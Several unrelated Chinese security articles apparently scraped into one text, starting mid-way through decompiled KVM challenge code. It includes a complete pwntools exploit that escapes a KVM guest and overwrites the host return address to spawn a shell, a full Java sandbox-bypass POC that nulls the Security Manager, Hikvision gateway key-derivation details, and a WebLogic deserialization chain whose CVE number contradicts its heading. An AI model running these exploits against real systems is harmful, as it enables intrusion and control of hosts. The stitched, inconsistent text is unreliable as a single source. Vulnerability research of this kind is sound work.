unsigned __int64 v32; // [rsp+8278h] [rbp-8h]
__int64 savedregs; // [rsp+8280h] [rbp+0h]
v32 = __readfsqword(0x28u);
memset(guest_mem, 0, 0x8000uLL);
aligned_guest_mem = &guest_mem[4096LL - ((&savedregs + 0x7FF0) & 0xFFF)];//
// 这里的功能是让aligned_guest_mem取整
// 举个例子就是假如guest_mem的起始地址为0x7fffffff5c50
// 让他取整就是取到0x7fffffff6000
code_size = -1;
read_n(4LL, &code_size); // 这里需要输入的字符转成对应的数字需要小于0x4000,所以说输入的就应该是\x00\x40\x00\x00
if ( code_size <= 0x4000 )
{
read_n(code_size, aligned_guest_mem); // 如果按照上面咱们输入的\x00\x40\x00\x00的话,咱们就需要输入0x4000个字符
// 然后这些字符存储到aligned_guest_mem中
kvmfd = open("/dev/kvm", 0x80002);
if ( kvmfd < 0 )
{
errno_kvm = open("/dev/kvm", 0x80002);
kvmfd = errno_kvm;
err(errno_kvm, "fail line: %d", 40LL);
}
// 0xAE01 : KVM_CREATE_VM
vmfd = ioctl(kvmfd, 0xAE01uLL, 0LL); // 创建虚拟机，获取到虚拟机句柄
if ( vmfd < 0 )
{
errno_create_kvm = ioctl(kvmfd, 0xAE01uLL, 0LL);
vmfd = errno_create_kvm;
err(errno_create_kvm, "fail line: %d", 43LL);
}
region.slot = 0LL;
region.guest_phys_addr = 0LL;
region.memory_size = 0x8000LL;
region.userspace_addr = aligned_guest_mem;
// 0x4020ae46 : KVM_SET_USER_MEMORY_REGION
if ( ioctl(vmfd, 0x4020AE46uLL, ®ion) < 0 )// 为虚拟机映射内存,还有其他的PCI,信号处理的初始化
{
errno_set_user_memory = ioctl(vmfd, 0x4020AE46uLL, ®ion);
err(errno_set_user_memory, "fail line: %d", 52LL);
}
// 0xae41 : KVM_CREATE_VCPU
vcpu = ioctl(vmfd, 0xAE41uLL, 0LL); // 创建vCPU
if ( vcpu < 0 )
{
errno_create_vcpu = ioctl(vmfd, 0xAE41uLL, 0LL);
vcpu = errno_create_vcpu;
err(errno_create_vcpu, "fail line: %d", 55LL);
}
// 0xAE04uLL : KVM_GET_VCPU_MMAP_SIZE
vcpu_mmap_size = ioctl(kvmfd, 0xAE04uLL, 0LL);// 为vCPU分配内存空间
run_mem = mmap(0LL, vcpu_mmap_size, 3, 1, vcpu, 0LL);
memset(&guest_regs, 0, sizeof(guest_regs));
guest_regs._rsp = 0xFF0LL;
guest_regs.rflags = 2LL;
// 0x4090ae82 : KVM_SET_REGS
if ( ioctl(vcpu, 0x4090AE82uLL, &guest_regs) < 0 )// 设置寄存器
{
errno_set_regs = ioctl(vcpu, 0x4090AE82uLL, &guest_regs);
err(errno_set_regs, "fail line: %d", 66LL);
}
// 0x8138AE83uLL : KVM_GET_SREGS
if ( ioctl(vcpu, 0x8138AE83uLL, &guest_sregs) < 0 )// 获取特殊寄存器
{
errno_get_sregs = ioctl(vcpu, 0x8138AE83uLL, &guest_sregs);
err(errno_get_sregs, "fail line: %d", 69LL);
}
v20 = 0x7000LL;
v21 = 0x6000LL;
v22 = 0x5000LL;
v23 = 0x4000LL;
*(aligned_guest_mem + 0xE00) = 3LL; // 设置4级页表,因为cr0对应的第31位的值为1,所以说开启了分页机制所以就需要设置4级页表
// 这里看了一眼汇编代码这里虽然加的是0xe00,但是对应汇编代码加的还是0x7000
*&aligned_guest_mem[v20 + 8] = 0x1003LL;
*&aligned_guest_mem[v20 + 16] = 0x2003LL;
*&aligned_guest_mem[v20 + 24] = 0x3003LL;
*&aligned_guest_mem[v21] = v20 | 3;
*&aligned_guest_mem[v22] = v21 | 3;
*&aligned_guest_mem[v23] = v22 | 3;
v25 = 0LL;
v26 = 0x1030010FFFFFFFFLL;
v27 = 0x101010000LL;
guest_sregs.cr3 = v23;
guest_sregs.cr4 = 32LL;
guest_sregs.cr0 = 0x80050033LL;
guest_sregs.efer = 0x500LL;
guest_sregs.cs.base = 0LL;
*&guest_sregs.cs.limit = 0x10B0008FFFFFFFFLL;
*&guest_sregs.cs.dpl = 0x101010000LL;
guest_sregs.ss.base = 0LL;
*&guest_sregs.ss.limit = 0x1030010FFFFFFFFLL;
*&guest_sregs.ss.dpl = 0x101010000LL;
guest_sregs.gs.base = 0LL;
*&guest_sregs.gs.limit = 0x1030010FFFFFFFFLL;
*&guest_sregs.gs.dpl = 0x101010000LL;
guest_sregs.fs.base = 0LL;
*&guest_sregs.fs.limit = 0x1030010FFFFFFFFLL;
*&guest_sregs.fs.dpl = 0x101010000LL;
guest_sregs.es.base = 0LL;
*&guest_sregs.es.limit = 0x1030010FFFFFFFFLL;
*&guest_sregs.es.dpl = 0x101010000LL;
guest_sregs.ds.base = 0LL;
*&guest_sregs.ds.limit = 0x1030010FFFFFFFFLL;
*&guest_sregs.ds.dpl = 0x101010000LL;
// 0x4138AE84 : KVM_SET_SREGS
if ( ioctl(vcpu, 0x4138AE84uLL, &guest_sregs) < 0 )// 设置特殊寄存器
{
errno_set_sregs = ioctl(vcpu, 0x4138AE84uLL, &guest_sregs);
err(errno_set_sregs, "fail line: %d", 105LL);
}
// 0xae80 : KVM_RUN
while ( 1 )
{
ioctl(vcpu, 0xAE80uLL, 0LL); // 开始运行虚拟机
exit_reason = run_mem->exit_reason;
if ( exit_reason == 5 || exit_reason == 8 )// KVM_EXIT_HLT | KVM_EXIT_SHUTDOWN
break;
if ( exit_reason == 2 ) // KVM_EXIT_IO
{
if ( run_mem->io.direction == 1 && run_mem->io.port == 0x3F8 )
{
v16 = run_mem->io.size;
v24 = run_mem->io.data_offset;
printf("%.*s", v16 * run_mem->ex.error_code, run_mem + v24);
}
}
else
{
printf("\n[loop] exit reason: %d\n", run_mem->exit_reason);
}
}
puts("\n[loop] goodbye!");
result = 0;
}
else
{
puts("[init] hold your horses");
result = 1;
}
return result;
}
**漏洞点：**
memset(guest_mem, 0, 0x8000uLL);
aligned_guest_mem = &guest_mem[4096LL - ((&savedregs + 0x7FF0) & 0xFFF)];
region.slot = 0LL;
region.guest_phys_addr = 0LL;
region.memory_size = 0x8000LL;
region.userspace_addr = aligned_guest_mem;
从上面的代码可以看出程序预计给虚拟机分配0x8000大小的空间，然后进行了个对齐操作使得分配的真实地址为aligned_guest_mem，然后后面实际再给虚拟机分配的时候依然还是分配了0x8000大小的空间，这样就会导致虚拟机越界读到了主机的内存。
首先我们看到我们memset的地址如下
对齐后的地址如下。
通过动态调试我们发现返回地址所在地址`(0x7FFFFFFFDE68)`包含在`aligned_guest_mem(0x7FFFFFFF6000)`到`aligned_guest_mem+0x8000(0x7FFFFFFFE000)`内，注意此处的aligned_guest_mem是通过分配host的栈空间作为VM的进程空间。对于host来说地址是`aligned_guest_mem`到`aligned_guest_mem+0x8000`，而对于虚拟机来说地址是`0`到`0x8000`。
用下图来更清晰的表示。
然后程序有两个输入点，第一个输入的值会作为第二个输入点的可输入长度然后第二个输入点，输入的内容可以作为shellcode执行。
下面就是利用这个地方，在动调的过程中可以发现最后main返回的地址是存储在over这个区域的，所以就需要对存储返回地址的地方进行写操作，写成onegadget的地址就可以拿到shell了，写操作需要注意的就是[0x1000]这样读0x1000地址存储的内容不一定会读到0x1000，因为有分页机制所以虚拟地址需要转换成物理地址才可以使用，还需要注意一点的是64位环境下使用的是4级页表是48位，然后分为9、9、9、12四段，如下图所示。
根据这四段来获取到物理地址所以我们的shellcode就需要确保经过转换后的地址对应着的是返回地址。
具体的做法就是 **更改cr3的值** ， **自己构造4级页表** ， **促使[0x1000]这样访问到的内存就是0x7000地址处的内存**
，这里访问到0x7000是因为0x7000到0x8000包含了越界的部分，所以我们只需要循环遍历0x7000到0x8000以便找到ebp，从而控制执行流，其中页表的访问方式就应该是这样的，用我手画的图表示如下（以访问0x1000为例）：
后面的0x1003、0x2003、0x3003等在ida中可看到。
v20 = 0x7000LL;
v21 = 0x6000LL;
v22 = 0x5000LL;
v23 = 0x4000LL;
*(aligned_guest_mem + 0xE00) = 3LL;
*&aligned_guest_mem[v20 + 8] = 0x1003LL;
*&aligned_guest_mem[v20 + 16] = 0x2003LL;
*&aligned_guest_mem[v20 + 24] = 0x3003LL;
所以我们的shellcode就需要确保经过转换后的地址对应着的是返回地址，然后把返回地址改成oengadget就可以拿到shell了。
exp最开始设置访问的地址是0x1020，然后一直循环访问到对应地址存储的内容不是0的地方，经过动调发现在retun的返回地址前只有3个地址是有内容的，再往前看都是0，所以循环结束后访问的地址就是return的返回地址-3，所以要修改retuen的地址就需要+3，然后把这个地址里面的内容修改成one_gadget就可以拿到shell了。
from pwn import *
context.arch = 'amd64'
p = process("./kvm")
elf = ELF("./kvm")
payload = asm(
"""
mov qword ptr [0x1000], 0x2003
mov qword ptr [0x2000], 0x3003
mov qword ptr [0x3000], 0x0003
mov qword ptr [0x0], 0x3
mov qword ptr [0x8], 0x7003
mov rax, 0x1000
mov cr3, rax
mov rcx, 0x1020
#############search ret#############
look_for_ra:
add rcx, 8
cmp qword ptr [rcx], 0
je look_for_ra
add rcx, 24
#############overwrite ret#############
overwrite_ra:
mov rax, qword ptr [rcx]
add rax, 0x249e6
mov qword ptr [rcx], rax
hlt
"""
)
log.success('len = '+str(len(payload)))
p.send("\x68\x00\x00\x00")
p.sendline(payload)
#gdb.attach(p)
p.recv(16)
#gdb.attach(p)
p.interactive()
对于exp几个疑惑的点：
* 0x1020 ：这里我本来写的是0x1000，但是没打通，在0x7000开始处我们写了四个字段，所以我们应该先跳过这四个字段开始，经过动态调试发现返回地址只有前面三个字段有内容，其他都是0，所以一次遍历到不为0为止，然后我们add 24，跳过这三个字段就能到达ret处。
* 0x249e6 : 这里是返回地址到one_gadget地址的偏移，动态调试后发现execve_addr-ret_addr=0x249e6。
成功利用截图： | 社区文章 |
**作者：Yimi Hu & Light @ PwnMonkeyLab
原文链接：<https://mp.weixin.qq.com/s/22kNqVtPDqObC3MslaxYdQ>**
## **简介**
本篇是关于海康萤石智能网关分析的第4篇，应该也是关于海康萤石智能网关的最后一篇，原计划是再多分享点内容，但鉴于胖猴实验室和海康的良好关系，把海康萤石的网关设备分享得非常透彻也不太好。其实，在此前的3篇文章中，我们已经完成了固件编辑和重打包，通过telnet登陆固件系统，以及使用gdbserver调试程序，在此基础之上，相信读者完全可以对设备固件进行独立分析了。
在这海康萤石智能网关的最后一篇文章中，我们就把上次的遗留问题处理了，即设备的认证方式以及加密密钥生成方法。
## **程序分析**
### **2.1 概述**
在上一篇的结尾部分，我们已经具备了调试能力，可以调试固件中的davinci程序以及libmicrokernel.so.1等动态连接库。为了节约篇幅，在本篇中我们先将一些分析结论与各位分享，然后再详细调试其中的某个细节。
在海康萤石的智能网关中，完整的通信流程涉及到3个密钥，分别是share key、master key以及session key。顾名思义，share
key是智能网关与litedev服务器（与之对应的另一个服务器是MQTT服务器）共有的密钥，由设备序列号等常量经过多次MD5运算得到，每个智能网关设备的share
key都是独一无二的，；master key是智能网关与litedev服务器经过密钥协商而来，用于加密传输session key，关于master
key的密钥协商过程就是本篇分析的重点内容；最后session
key是智能网关与MQTT服务器通信时使用的加密密钥，该密钥由litedev服务器直接下发给智能网关。
以上三个密钥在使用过程中，share key是与设备绑定，且固定不变的，一旦获取了share
key，就可以完成所有的认证过程，最终被海康萤石认定为合法的网关设备；使用者通过手机app绑定智能网关时，会经过密钥协商生成master
key，每绑定一次会就更新一次；最后的session key则每次运行davinci程序时，都会更新，这也意味着每次重启网关都会更新session
key。三个不同级别的密钥，三个不同的密钥生存周期。
在对海康萤石智能网关的密钥体系有所了解之后，我们就可以聚焦到某些细节上，下面来着重看一下master key和share key的生成过程。
### **2.2 master key生成**
#### **2.2.1 认证细节分析**
为了触发智能网关的密钥协商流程，我们需要先删除当前的master key，具体讲就是删除 “/cfg/dev_masterkey”文件，如下图所示：
图2-1 删除dec_masterkey文件
删除当前master
key之后，继续按照上一篇所述的方法启动调试器，并在上一篇结尾时提到的send_authentication_i函数下断点，等到程序中断到调试器中，如下图所示：
图2-2 程序中断在send_authentication_i函数
通过逆向分析该函数，可以获知它调用的common_serialize和authentication_i_serialize用于构造将要发送的数据。我们在common_serialize函数之前下断点，然后用gdb命令查看待发送数据的内容（本次调试时，地址为0x007d2dd0），如下图所示：
图2-3 第一次打印发送数据
在上图中，可以看到待发送数据内容还是空的。待函数common_serialize执行完毕之后，重新打印该地址的数据，如下图所示：
图2-4 第二次打印发送数据
该地址的前几个字节已经被赋值了。继续调试该程序，在authentication_i_serialize函数之后下断点，待程序中断时，重新打印该内存处的数据，如下图所示：
图2-5 第三次打印发送数据
可以观察到，authentication_i_serialize函数执行完毕之后，待发送数据基本构造完毕。我们对比一下本次发送数据和之前我们通过wireshark抓包获取的发送数据，如下图所示：
图2-6 此前wireshark的抓包结果
可以看到，本次构造的发送数据与之前的抓包结果是有一小部分相同的，而不同的这部分应该就是海康萤石智能网关密钥协商的关键部分。
为了找到产生不同的原因，我们来重点逆向authentication_i_serialize函数，可以在该函数中发现其调用了一个签名函数digital_sign_serialize函数：
图2-7 authentication_i_serialize函数的内部
在该签名函数之前和之后下断点，可以观察到需要签名的数据以及签名结果。结合之前用gdb调试send_authentication_i时获得的发送数据，就可以分析出发送的数据格式如下：
图2-8 send_authentication_i函数发送的数据格式
其中，dev_subserial是设备序列号；random_1是1字节随机数，每次密钥协商时都是不同的。由于random_1字节的不同，导致了digital_sign不同，所以总共有33（1+32）字节是每次通信都不同的。经过本次通信，智能网关将random_1参数上传至litedev服务器。
通过类似的分析方法，就可以获知认证过程中的其他3个函数的作用，这3个函数分别是：wait_authentication_ii、send_authentication_iii以及wait_authentication_iv。加上send_authentication_i函数，网关和服务器之间总共同步了4个随机数。
#### **2.2.2 认证完整过程**
在上述的分析过程中，可以发现一个名为lbs_affair的结构体贯穿了整个认证过程，4个随机数也保存在结构体之中，该结构体的内容如下：
00000000 lbs_affair struct
00000000 random_1: .byte
00000001 random_2: .byte
00000002 random_3: .byte
00000003 random_4: .byte
00000004 dev_subserial: .byte 16
00000014 master_key: .byte 16
00000024 dev_id: .byte 32
00000044 session_key: .byte 16
00000054 share_key: .byte 32
00000074 share_key_len: .half
00000076 .byte
00000077 .byte
00000078 global_out_packet: lbs_packet
0000008C global_in_packet: lbs_packet
000000A0 lbs_net_work: .word
000000A4 lbs_affair ends
表2-1 lbs_affair结构体
其中，random_1和random_3由智能网关生成，发送给服务器；random_2和randon_4由服务器生成，发送给智能网关。
通过这4个随机数以及share key就可以生成master key了，并进一步由master key获取session key。其master
key的生成算法比较简单，可以在generate_masterkey函数中找到，如下图所示：
图2-9 master key的生成过程
根据图中红框标出的偏移可以知道，master
key的生成过程就是将random_1、random_2、random_3、random_4和share_key拼凑在一起，然后调用sha512函数，其hash结果就是最终的master
key了。
继续分析其固件的后续内容可以发现以master key作为密钥，使用aes cbc算法解密session
key相关的代码段，这里就不截图了。获取session key之后，通信数据的加密密钥就完全切换为session key，不再使用master key了。
### **2.3 share key生成**
相比于master key的生成过程，share key的生成无疑简单了很多。可以在generate_sharekey函数中找到关于share
key的各种运算，通过阅读IDA反汇编后的代码，可以确认share
key是通过对dev_subserial和dev_verification_code以及一个固定的盐进行多次MD5而得到，其中dev_verification_code是设备的认证码，该认证码被贴在海康萤石智能网关背面的标签上。在md5运算过程中，固定的盐值如下图所示：
图2-10 share key的生成过程
上图中，“ 88075998”是海康的联系电话，在此处，“www.88075998.com”作为盐参与了第二次MD5运算中。
## **小结**
到此，关于海康萤石系列的四篇文章就结束了。在前3篇文章中，我们分别解决了开启uart串口、提取flash内容、固件重打包、gdb调试等问题；而在最后1篇中，我们分析了海康萤石的密钥体系，虽然写的有些模糊，但基本上涵盖了所有关键点，很多海康和萤石的其他IoT设备也使用了类似的密钥体系，本篇分析可以提供一个借鉴。其实关于海康萤石智能网关还有很多可以写的内容，但实在不适合在这里公开的与大家分享，还是等有机会私下交流吧。
在笔者分析海康萤石智能网关时，Ghidra尚未发布且IDA尚不支持mips
decompiler，但在写本文时已经出现了很多好用的工具，合理利用这些工具可以大幅度减少分析工作量。最后，希望本篇文章能给各位读者带来一些收获。在本专题的后续文章中，我们还会继续分享其他的研究案例，敬请期待。
* * * | 社区文章 |
Author：n1nty
原文连接：https://mp.weixin.qq.com/s/T7eaYSKdxJlTrYZSRJKhRw
需要知道的背景知识如下，因为涉及到的东西比较多，所以我这里就不细写了，全都是与 Java 的安全机制有关的，大家可以自行查资料。
1. **Java 中的沙盒 - Security Manager 机制。**
简述：在有沙盒的情况下，Java 程序在执行任何敏感操作，比如调用 Runtime.getRuntime().exec 执行外部程序之前，JDK
会先咨询沙盒来确定当前程序是否有权限执行外部程序，如果没有则拒绝执行并出现异常。如果你找到了 JDK
中的某个方法在不咨询沙盒的情况下就可以执行外部程序，那么你就找到了一个新的 CVE。
1. **与沙盒相关的 ProtectionDomain 与 Permission/PermissionCollection/Permissions 的机制。**
简单地说，每个 Java 类都有与之对应的一个 ProtectionDomain，这是在 define class
的时候就定义的。ProtectionDomain 里面封装了当前 Java 类所拥有的权限。权限是由 Permission
类来表示的。PermissionCollection/Permissions 代表的是权限的集合。
3\. **AccessController 与 AccessControlContext，以及 doPrivileged （产生特权域）
及其他几个相似的方法的作用。**
AccessControlContext 中封装了当前线程调用栈上所有的方法所属的类的 ProtectionDomain。简单地说，第 1 点说到了
Java 程序在执行敏感操作前会咨询沙盒是否有权限进行执行。具体过程就是，会一层一层往上去遍历 AccessControlContext 中所有的
ProtectionDomain，只有当前调用栈上的所有类都有权限执行这一项操作时，操作才能成功。一旦有任何一个类没有权限，则操作将会失败，会出现异常。特权域是一个例外，在一层层遍历
ProtectionDomain 时，如果发现特权域时，则只要这个特权域所在的类有权限执行此操作，则操作就能成功（简述，不太严谨），剩余的没遍历的
ProtectionDomain 将会被忽略。这个有点类似于 Linux 中的 suid 权限。
1. **JDK 核心类（rt.jar 中的类）和从 java.ext.dirs 目录下加载的类是拥有所有权限的。**
以上几点都只是简述，有不少细节没有写，推荐有英文阅读能力朋友看一下 《Inside Java 2 Platform Security, Second
Edition》，该书比较详细地讲述了以上几点（看书的时候配合与 JDK 源代码一起看）。
**此 CVE 总结：**
JDK7 提供的 ClassFinder 类的 findClass 方法写的不严谨（也就是上面第 1
点说的在执行敏感操作时没有咨询沙盒），导致允许我们在沙盒启用的情况下，访问到受限包（restricted package）sun.awt 中的
SunToolkit 类。受限包里的类是供 JDK 自身内部使用的，在启用沙盒的情况下，正常情况下应该是无法访问的。
**SunToolkit 类提供了一个名为 getField 的方法，代码如下：**
public static Field getField(final Class var0, final String var1) {
return (Field)AccessController.doPrivileged(new PrivilegedAction<Field>() {
public Field run() {
try {
Field var1x = var0.getDeclaredField(var1);
assert var1x != null;
var1x.setAccessible(true);
return var1x;
} catch (SecurityException var2) {
assert false;
} catch (NoSuchFieldException var3) {
assert false;
}
return null;
}
});
}
此方法在特权域里用反射获取了指定类的指定成员，并调用了 setAccessible(true)！这意味着，即使是在有沙盒的情况下，我们也可以通过
SunToolkit.getField 来获取任何类定义的任何成员（因为此特权域是定义在 SunToolkit 类中，此类是 JDK
自带的，拥有所有权限），并通过返回的 Field 来修改任何对象的私有变量甚至是 final 变量。
此 CVE 的 POC 就是利用了这一点进行了沙盒绕过。
具体的边看 POC 边讲，以下是 POC（好像在手机上无法看大段代码？有兴趣的在电脑上看吧）：
import com.sun.beans.finder.ClassFinder;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;
/**
* Created by n1nty on 08/08/2017.
*/
public class TestClass {
public static void main(String[] args) throws Exception {
// 安装沙盒
System.setSecurityManager(new SecurityManager());
System.out.println(System.getSecurityManager() == null);
//[1] 通过 ClassFinder.findClass 来获取 sun.awt.SunToolkit 类
Class cls = ClassFinder.findClass("sun.awt.SunToolkit");
System.out.println(cls);
// 利用反射来调用 SunToolkit.getField 方法，并传入 Statement.class 与 "acc" 做为参数
// [2] 目的是得到 Statement 类中名为 acc 的成员变量
Expression expr = new Expression(cls, "getField", new Object[]{Statement.class, "acc"});
expr.execute();
Field f = (Field) expr.getValue();
// 尝试利用反射来调用 System.setSecurityManager(null)，重置沙盒
Statement stat = new Statement(System.class, "setSecurityManager", new Object[]{null});
// 创建一个新的 AccessControlContext 对象，里面只放一个封装了 AllPermission 的 ProtectionDomain（表示这个 ProtectionDomain 拥有所有权限）
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
AccessControlContext evilAcc = new AccessControlContext(new ProtectionDomain[]{
new ProtectionDomain(new CodeSource(new URL("file:///testtest"), new Certificate[]{}), permissions)
});
// [3] 利用新创建的 AccessControlContext 对象替换掉 Statement 对象中原有的 AccessControlContext
f.set(stat, evilAcc);
// 重置沙盒
stat.execute();
// 沙盒被重置了
System.out.println(System.getSecurityManager() == null);
}
}
接下来简单解释一下注释中的几个点。
**[1] 获取 sun.awt.SunToolkit 类**
POC 中用 ClassFinder.findClass 方法来获取该类。前面说过了 sun.awt.SunToolkit 是位于受限包 sun.awt
中的类，那么 ClassFinder.findClass 在有沙盒的情况下是如何绕过这个限制获取到这个类的呢?
正常情况下我们手动加载一个类都是用 ClassLoader.loadClass(String name) 或者 Class.forName(String
name) 方法。这两种方法加载类的时候都需要经过 java.lang.SecurityManager#checkPackageAccess
方法，来对受限包的访问进行阻止（这里有一些细节情况在里面，比如涉及到 class loader 的上下级关系，以及当拥有 getClassLoader
权限时可以通过获取 bootstrap classloader 或者 ext classloader 来绕过
checkPackageAccess）。也就是说正常情况下，在沙盒开启的时候我们是无法通过常规手段加载 sun.awt.SunToolkit 类。下面看一下
ClassFinder.findClass 是怎么做到的。
public static Class<?> findClass(String var0) throws ClassNotFoundException {
try {
ClassLoader var1 = Thread.currentThread().getContextClassLoader();
if (var1 == null) {
var1 = ClassLoader.getSystemClassLoader();
}
if (var1 != null) {
return Class.forName(var0, false, var1);
}
} catch (ClassNotFoundException var2) {
;
} catch (SecurityException var3) {
;
}
return Class.forName(var0);
}
重点在最后一行 Class.forName(var0);
ClassFinder.findClass 前面也会尝试常规的加载方式，通过当前线程的 context classloader 来进行加载。如果当前线程没有
context classloader，则尝试利用 system class loader。这个 system class loader 默认就是
sun.misc.Launcher$AppClassLoader 类的对象，它在加载类的时候也会进行 checkPackageAccess
的检查。常规的方式会失败，但是最后那一行 Class.forName(var0) 会成功。为什么我们手动调用 Class.forName
会失败，而它这里调用却会成功呢？ 看代码：
public static Class<?> forName(String className)
throws ClassNotFoundException {
return forName0(className, true, ClassLoader.getCallerClassLoader());
}
private static native Class<?> forName0(String name, boolean initialize,
ClassLoader loader)
throws ClassNotFoundException;
forName 直接调用了名为 forName0 的 native 方法。传入 forName0 的第三个 loader 参数将为 null，也就是说
ClassLoader.getCallerClassLoader 返回的是 null。因为 Class.forName 的调用者是 SunToolkit
这个类，此类是 JDK 核心类，是由 bootstrap class loader 加载的，而 bootstrap class loader 往往是由
C++编写的，在 JVM 中不会存在它的对象。也就是说，后面的类加载操作将由 bootstrap class loader 在 JVM 之外执行，Java
的沙盒自然管不到 JVM 之外的事情，所以加载可以成功。而我们在手动调用 Class.forName
的时候，ClassLoader.getCallerClassLoader 返回的不是 null 。
**[2] 利用反射获取 Statement 类的 acc 成员**
前面说到了我们需要利用 SunToolkit 类中的 getField 方法来获取 Statement 类的 acc。利用常规的反射方法的话，代码应该是：
Method method = cls.getDeclaredMethod("getField", new Class[]{Class.class, String.class});
method.invoke(....)
Class.getDeclaredMethod 或者 Class.getMethod 方法会在内部调用
java.lang.Class#checkMemberAccess ，如下：
private void checkMemberAccess(int which, ClassLoader ccl) {
SecurityManager s = System.getSecurityManager();
if (s != null) {
s.checkMemberAccess(this, which);
ClassLoader cl = getClassLoader0();
if ((ccl != null) && (ccl != cl) &&
((cl == null) || !cl.isAncestor(ccl))) {
String name = this.getName();
int i = name.lastIndexOf('.');
if (i != -1) {
s.checkPackageAccess(name.substring(0, i));
}
}
}
}
ccl 参数代表的是 caller class loader。
常规的反射无法通过这个检查，而通过 Expression 来就可以通过，主要是因为ccl 是 null。我估计 JDK 中有不少只通过 caller
class loader 来判断是否有权限进行某项操作的逻辑。
**[3] 重设 Statement 对象的 acc**
为什么重设了 Statement 的 acc 后就可以重置沙盒了呢？这里要从前面提到过的 AccessController.doPrivileged
的第二个参数说起。先看 Statement.execute 的代码：
public void execute() throws Exception {
invoke();
}
Object invoke() throws Exception {
AccessControlContext acc = this.acc;
if ((acc == null) && (System.getSecurityManager() != null)) {
throw new SecurityException("AccessControlContext is not set");
}
try {
return AccessController.doPrivileged(
new PrivilegedExceptionAction<Object>() {
public Object run() throws Exception {
return invokeInternal();
}
},
acc
);
}
catch (PrivilegedActionException exception) {
throw exception.getException();
}
}
可以看到 execute 调用了 invoke，invoke 通过 doPrivileged 利用特权域来执行
invokeInternal，我们指定的方法最终会在 invokeInternal 里面被反射执行。从抽象的角度来看，这种我们可控的反射 +
doPrivileged 的代码使得我们可以以系统类的特权来执行任何操作（Statement 是 JDK
自带的类，拥有所有权限，不明白的话请重新查看我前面简述过的关于 doPrivileged 的作用）。这显然是有问题的，所以 doPrivileged
引入了第二个 AccessControlContext 类型的参数。
Statement 的 acc 声明如下：
private final AccessControlContext acc = AccessController.getContext();
将它做为第二个参数传入 doPrivileged 的作用在于，当执行敏感操作，沙盒对是否有权限进行该操作进行判断的时候，不光会考虑当前线程栈上的所有
ProtectionDomain（它们被封装在一个 AccessControlContext 的对象中），还会考虑额外传入的
AccessControlContext 中的 ProtectionDomain 进行检查，在这里就是 Statement 中的 acc。
acc 的值从 AccessController.getContext 获取，这里面保存了我们当前的调用栈，封装了我们在生成 Statement
对象时栈上所有的类的作用域，这些类往往是我们自己写的。 所以正常情况下，只有当这些类也有权限进行敏感操作的时候，Statement.execute
方法才会成功。
我们的类自然是不可能拥有重置沙盒的权限的，所以这里我们将 Statement 对象中的 acc 替换成了一个封装了 AllPermission 的
acc，达到了欺骗的效果。沙盒在进行检查的时候会认为我们自己的类也拥有所有权限，于是检查通过，成功执行
System.setSecurityManager(null) 重置了沙盒。 | 社区文章 |
# CVE-2021-2394：Oralce7月补丁日二次序列化漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 漏洞简述
2021年07月21日，360CERT监测发现`Oracle官方`发布了`2021年7月份`的安全更新，本次分析报告选取的是其中一个反序列化漏洞，CVE编号为`CVE-2021-2194`，漏洞等级：`严重`，漏洞评分：`9.8`。
## 0x02 风险等级
评定方式 | 等级
---|---
威胁等级 | 严重
影响面 | 广泛
攻击者价值 | 高
利用难度 | 低
360CERT评分 | 9.8
## 0x03 漏洞详情
`diff`补丁后发现`WebLogicFilterConfig`的新增了两个黑名单`package`：
"oracle.eclipselink.coherence.integrated.internal.querying", "oracle.eclipselink.coherence.integrated.internal.cache"
这次的漏洞依然是一个二次序列化漏洞，前半部分的序列化思路和`CVE-2020-14756`类似，后面代码执行的思路来自`CVE-2020-14841`。（要注意的是这个漏洞不能过
`Weblogic`
新增的白名单机制，但是可以走iiop）在`oracle.eclipselink.coherence.integrated.internal.querying`中发现了`FilterExtractor`这个类，他的`readExternal`方法如下：
跟到`readAttributeAccessor`方法里，当id为1的时候会返回一个`MethodAttributeAccessor`对象，这个对象是`CVE-2020-14841`之后被加入了黑名单的，不过在这里返回的话就不会走反序列化的流程。
也就是说我们依然可以利用`MethodAttributeAccessor`对象，并且最终会赋值到`attributeAccessor`属性，这个对象可以调用任意方法（也不是任意，后面会讲）。继续看到`FilterExtractor`的`extract`方法。
主动去调用了`attributeAccessor#getAttributeValueFromObject`方法，我们看到`MethodAttributeAccessor#getAttributeValueFromObject`。
该方法会通过反射执行`anObject`的`getMethod`方法，这两个变量都是攻击者可控的，于是就能够进行利用，不过这里的`parameters`为`null`，所以只能调用无参方法。
不难想到利用`JdbcRowSetImpl`。
接着，我们还需要找到一个地方来调用`FilterExtractor#extract`。这里利用的又是`CVE-2020-14756`里使用过的`com.tangosol.util.aggregator.TopNAggregator.PartialResult`，这里就不细说了，最终可以调用一个`Comparator`的`compare`方法。
不难想到`ExtractorComparator`。 这里只需要给`m_extractor`赋值为`FilterExtractor`。
而他的`readExternal`方法，刚好又回从输入流中读取`m_extractor`值。
### 构造POC需要注意的点
在给`MethodAttributeAccessor`对象进行赋值的时候，仅仅是赋值了`getter name`和`setter name`。
于是，当执行到`FilterExtractor#extract`时，会先执行`isInitialized`。
这里会返回`false`。
于是调用`initializeAttributes`，这里会根据我们设置的`getMethodName`、`setMethodName`通过反射获取具体的方法。
这里`isWriteOnly`默认为`false`，不能像之前`CVE-2020-14841`一样通过反射进行修改改值，因为`MethodAttributeAccessor`在黑名单里。
这里的逻辑是获取我们要调用的get方法，这里是一个无参方法，反射之后，获取get方法的返回值类型，然后传给set方法，所以这里set方法的参数是根据get方法来的（不一定必须是`getter/setter`）。
最终找到的`JdbcRowSetImpl`方法：
get -> connect()
set -> setConnection()
这样，刚好满足`connect`返回值类型是`set`方法的形参类型。
### 漏洞证明
iiop利用：
### 漏洞修复
第一个就是把利用中使用的两个package加入了黑名单里。
第二个就是基于`iiopinputstream`进行修复，这里只是简略的跟进`diff`了一下，在进入序列化`IIOP`流程之后，第一幅图是没修复之前，`s_streamfactory`是`DefaultObjectStreamFactory`，而第二幅图是修复之后，`s_streamfactory`被设置为了`WLSObjectStreamFactory`
具体设置流程在`CoherenceClusterManager`，这是`Weblogic`初始化的流程里
这里由于新增了`WLSCoherenceConfiguator`的初始化，就会给`s_streamfactory`赋值`WLSObjectStreamFactory`
如果`s_streamfactory`是`WLSObjectStreamFactory`，那么就会调用他的`getObject`，会实例化一个`WLSObjectInputStream`
后续就会去读`WLSObjectInputStream`的`byte`数据
